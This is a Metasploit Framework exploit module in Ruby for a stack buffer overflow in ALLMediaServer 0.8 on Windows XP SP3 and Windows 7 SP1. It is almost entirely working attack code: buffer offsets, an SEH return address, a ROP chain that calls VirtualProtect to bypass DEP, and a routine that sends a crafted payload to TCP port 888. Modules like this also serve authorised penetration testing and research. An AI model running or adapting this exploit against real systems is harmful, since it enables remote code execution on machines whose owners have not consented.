ALLMediaServer 0.8 Buffer Overflow

`##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = NormalRanking  
  
include Msf::Exploit::Remote::Tcp  
include Msf::Exploit::Seh  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'ALLMediaServer 0.8 Buffer Overflow',  
'Description' => %q{  
This module exploits a stack buffer overflow in ALLMediaServer 0.8. The vulnerability  
is caused due to a boundary error within the handling of HTTP request.  
  
While the exploit supports DEP bypass via ROP, on Windows 7 the stack pivoting isn't  
reliable across virtual (VMWare, VirtualBox) and physical environments. Because of  
this the module isn't using DEP bypass on the Windows 7 SP1 target, where by default  
DEP is OptIn and AllMediaServer won't run with DEP.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'motaz reda <motazkhodair[at]gmail.com>', # Original discovery  
'modpr0be <tom[at]spentera.com>', # Metasploit module  
'juan vazquez' # More improvement  
],  
'References' =>  
[  
[ 'EDB', '19625' ]  
],  
'DefaultOptions' =>  
{  
'ExitFunction' => 'process', #none/process/thread/seh  
},  
'Platform' => 'win',  
'Payload' =>  
{  
'BadChars' => "",  
'Space' => 660,  
'DisableNops' => true  
},  
  
'Targets' =>  
[  
[ 'ALLMediaServer 0.8 / Windows XP SP3 - English',  
{  
'Ret' => 0x65ec74dc, # ADD ESP,6CC # POP # POP # POP # RET - avcoded-53.dll  
'OffsetRop' => 696,  
'jmp' => 264,  
'Offset' => 1072  
}  
],  
[ 'ALLMediaServer 0.8 / Windows 7 SP1 - English',  
{  
'Ret' => 0x6ac5cc92, # ppr from avformat-53.dll  
'Offset' => 1072  
}  
],  
],  
'Privileged' => false,  
'DisclosureDate' => 'Jul 04 2012',  
'DefaultTarget' => 1))  
  
register_options([Opt::RPORT(888)], self.class)  
  
end  
  
def junk(n=1)  
return [rand_text_alpha(4).unpack("L")[0]] * n  
end  
  
def nops(rop=false, n=1)  
return rop ? [0x665a0aa1] * n : [0x90909090] * n  
end  
  
def asm(code)  
Metasm::Shellcode.assemble(Metasm::Ia32.new, code).encode_string  
end  
  
def exploit  
#with help from mona :)  
rop = [  
nops(true, 12), #ROP NOP  
0x65f6faa7, # POP EAX # RETN  
0x671ee4e0, # ptr to &VirtualProtect()  
0x6ac1ccb4, # MOV EAX,DWORD PTR DS:[EAX] # RETN  
0x667ceedf, # PUSH EAX # POP ESI # POP EDI # RETN  
junk,  
0x65f5f09d, # POP EBP # RETN  
0x65f9830d, # & call esp  
0x6ac1c1d5, # POP EBX # RETN  
0x00000600, # 0x00000320-> ebx  
0x6672a1e2, # POP EDX # RETN  
0x00000040, # 0x00000040-> edx  
0x665a09df, # POP ECX # RETN  
0x6ad58a3d, # &Writable location  
0x6ac7a771, # POP EDI # RETN  
nops(true), # RETN (ROP NOP)  
0x6682f9f4, # POP EAX # RETN  
nops, # nop  
0x663dcbd2 # PUSHAD # RETN  
].flatten.pack("V*")  
  
connect  
  
if target.name =~ /Windows 7/  
buffer = rand_text(target['Offset'])  
buffer << generate_seh_record(target.ret)  
buffer << payload.encoded  
else  
buffer = rand_text(target['OffsetRop']) #junk  
buffer << rop  
buffer << asm("jmp $+0x#{target['jmp'].to_s(16)}") # jmp to payload  
buffer << rand_text(target['Offset'] - buffer.length)  
buffer << generate_seh_record(target.ret)  
buffer << payload.encoded  
end  
  
print_status("Sending payload to ALLMediaServer on #{target.name}...")  
sock.put(buffer)  
  
disconnect  
  
end  
end  
`